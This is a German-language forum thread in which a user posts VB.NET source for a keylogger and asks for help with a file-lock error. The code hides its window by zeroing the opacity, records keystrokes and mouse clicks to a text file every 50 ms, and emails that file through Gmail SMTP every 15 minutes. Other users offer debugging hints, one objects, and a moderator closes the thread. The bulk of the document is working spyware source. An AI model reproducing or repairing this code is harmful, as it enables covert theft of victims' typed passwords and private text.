Hallo

ich habe mich heute mal an einem key logger probiert. hat so weit auch ganz gut geklappt jetzt hab ich aber ein problem:
ich habe den key logger angewiesen die, in eine txt datei geschriebenen daten per email mit anhang zu schicken. das klappt auch einwandfrei aber danach wenn der timer1
wieder anfangen soll zu ticken kommt eine ausnahme vom typ IOexception und er markt die erste zeile der timer1 sub routine an: der prozess kann nicht auf die datei zugreifen da sie von einem anderen verwendet wird. hab schon einiges versucht aber ich habs nicht geschafft ihm das auszureden. jetzt ist meine frage wie stell ich das ab??

1. teil des quelltexts sind deklarationen. die musst ich weglassen wegen der zeichenlänge.

ist mein erster post also bidde nich ärgern wenn was falsch is


Private Sub Timer1_Tick(ByVal sender As Object, ByVal e As System.EventArgs) Handles Timer1.Tic

If CBool(GetAsyncKeyState(VK_LBUTTON) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", vbCrLf & "Linke Maustaste" & vbCrLf, True / False)
End If

If CBool(GetAsyncKeyState(VK_RBUTTON) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Rechte Maustaste" & vbCrLf, True / False)
End If

If CBool(GetAsyncKeyState(VK_MBUTTON) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Mittlere Maustaste" & vbCrLf, True / False)
End If

If CBool(GetAsyncKeyState(VK_BACK) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Backspace" & vbCrLf, True / False)
End If

If CBool(GetAsyncKeyState(VK_TAB) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "TAB" & vbCrLf, True / False)
End If

If CBool(GetAsyncKeyState(VK_CLEAR) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Numpad 5" & vbCrLf, True / False)
End If

If CBool(GetAsyncKeyState(VK_RETURN) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Enter" & vbCrLf, True / False)
End If

If CBool(GetAsyncKeyState(VK_SHIFT) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", vbCrLf & "Shift" & vbCrLf, True / False)
End If

If CBool(GetAsyncKeyState(VK_MENU) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Alt" & vbCrLf, True / False)
End If

If CBool(GetAsyncKeyState(VK_PAUSE) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Pause/Unterbrechen" & vbCrLf, True / False)
End If

If CBool(GetAsyncKeyState(VK_CAPITAL) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Feststelltaste" & vbCrLf, True / False)
End If

If CBool(GetAsyncKeyState(VK_ESCAPE) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Esc" & vbCrLf, True / False)
End If

If CBool(GetAsyncKeyState(VK_PRIOR) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Bild hoch" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_NEXT) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Bild runter" & vbCrLf, True / False)
End If

If CBool(GetAsyncKeyState(VK_END) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Ende" & vbCrLf, True / False)
End If

If CBool(GetAsyncKeyState(VK_HOME) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Pos1" & vbCrLf, True / False)
End If

If CBool(GetAsyncKeyState(VK_LEFT) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Linke Pfeiltaste" & vbCrLf, True / False)
End If

If CBool(GetAsyncKeyState(VK_RIGHT) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Rechte Maustaste" & vbCrLf, True / False)
End If

If CBool(GetAsyncKeyState(VK_UP) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Obere Pfeiltaste" & vbCrLf, True / False)
End If

If CBool(GetAsyncKeyState(VK_DOWN) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Untere Pfeiltaste" & vbCrLf, True / False)
End If

If CBool(GetAsyncKeyState(VK_SNAPSHOT) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Drucken/S-Abf" & vbCrLf, True / False)
End If

If CBool(GetAsyncKeyState(VK_INSERT) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Einfügen" & vbCrLf, True / False)
End If

If CBool(GetAsyncKeyState(VK_DELETE) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Entfernen" & vbCrLf, True / False)
End If

If CBool(GetAsyncKeyState(VK_HELP) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Hilfe" & vbCrLf, True / False)
End If

If CBool(GetAsyncKeyState(VK_0) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "0", True / False)
End If

If CBool(GetAsyncKeyState(VK_1) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "1", True / False)
End If

If CBool(GetAsyncKeyState(VK_2) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "2", True / False)
End If

If CBool(GetAsyncKeyState(VK_3) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "3", True / False)
End If

If CBool(GetAsyncKeyState(VK_4) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "4", True / False)
End If

If CBool(GetAsyncKeyState(VK_5) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "5", True / False)
End If

If CBool(GetAsyncKeyState(VK_6) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "6", True / False)
End If

If CBool(GetAsyncKeyState(VK_7) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "7", True / False)
End If

If CBool(GetAsyncKeyState(VK_8) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "8", True / False)
End If

If CBool(GetAsyncKeyState(VK_9) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "9", True / False)
End If

If CBool(GetAsyncKeyState(VK_A) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "A", True / False)
End If

If CBool(GetAsyncKeyState(VK_B) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "B", True / False)
End If

If CBool(GetAsyncKeyState(VK_C) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "C", True / False)
End If

If CBool(GetAsyncKeyState(VK_D) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "D", True / False)
End If

If CBool(GetAsyncKeyState(VK_E) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "E", True / False)
End If

If CBool(GetAsyncKeyState(VK_F) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "F", True / False)
End If

If CBool(GetAsyncKeyState(VK_G) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "G", True / False)
End If

If CBool(GetAsyncKeyState(VK_H) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "H", True / False)
End If

If CBool(GetAsyncKeyState(VK_I) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "I", True / False)
End If

If CBool(GetAsyncKeyState(VK_J) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "J", True / False)
End If

If CBool(GetAsyncKeyState(VK_K) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "K", True / False)
End If

If CBool(GetAsyncKeyState(VK_L) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "L", True / False)
End If

If CBool(GetAsyncKeyState(VK_M) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "M", True / False)
End If

If CBool(GetAsyncKeyState(VK_N) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "N", True / False)
End If

If CBool(GetAsyncKeyState(VK_O) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "O", True / False)
End If

If CBool(GetAsyncKeyState(VK_P) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "P", True / False)
End If

If CBool(GetAsyncKeyState(VK_Q) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Q", True / False)
End If

If CBool(GetAsyncKeyState(VK_R) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "R", True / False)
End If

If CBool(GetAsyncKeyState(VK_S) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "S", True / False)
End If

If CBool(GetAsyncKeyState(VK_T) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "T", True / False)
End If

If CBool(GetAsyncKeyState(VK_U) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "U", True / False)
End If

If CBool(GetAsyncKeyState(VK_V) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "V", True / False)
End If

If CBool(GetAsyncKeyState(VK_W) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "W", True / False)
End If

If CBool(GetAsyncKeyState(VK_X) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "X", True / False)
End If

If CBool(GetAsyncKeyState(VK_Y) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Y", True / False)

End If

If CBool(GetAsyncKeyState(VK_Z) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Z", True / False)
End If
End Sub


Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
ShowInTaskbar = False
Opacity = 0%


End Sub

Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
If CBool(GetAsyncKeyState(VK_SPACE) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", " ", True / False)
End If
End Sub

Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
Dim mail As New MailMessage
Dim att As Attachment = Nothing
Try

mail.From = New MailAddress("meine mail")
mail.To.Add("meine mail")
mail.Subject = "Key Logger Daten"
mail.Body = "Key Logger Daten"
att = New Attachment("C:\users\Uwe\Desktop\text.txt")
mail.Attachments.Add(att)


Dim smtp As New SmtpClient("smtp.gmail.com")
smtp.Port = 587
smtp.EnableSsl = True

Dim benutzernamestring As String = "mein name"
Dim passwortstring As String = "mein pw"
smtp.Credentials = New System.Net.NetworkCredential(benutzernamestring, passwortstring)

smtp.Send(mail)



MsgBox("Email gesendet.")
Catch ex As Exception


MsgBox("Fehler!")
End Try
End Sub




End Class



Timer 1 und 2 sind auf 50 ms eingestellt timer 3 auf 15 min

vilen dank im voraus

mfg Loud Silence

1. teil des quelltexts sind deklarationen. die musst ich weglassen wegen der zeichenlänge.

also das haste glaub ich nich gemacht

ich würde dir vorschlagen die fehlerliste durschzuschauen.
check alles wegen schreibfehlern und so ab.



sry ich kann auch nicht viel helfen

ist zwar nicht so geschickt aber es kann funktionieren.

prüf einfach ob die Fehlermeldung kommt, wenn ja mach ne kopie von der Datei und verwende diese, gegebenfalls die Originaldatei danach löschen.

Hey,
Wollt ihr dem wirklich helfen einen Keylogger zu progen

es gibt sowieso haufenweise Quellcodes dazu, was stört da einer mehr oder weniger

Weil es hier im Forum nicht erwünscht ist. Thema geschlossen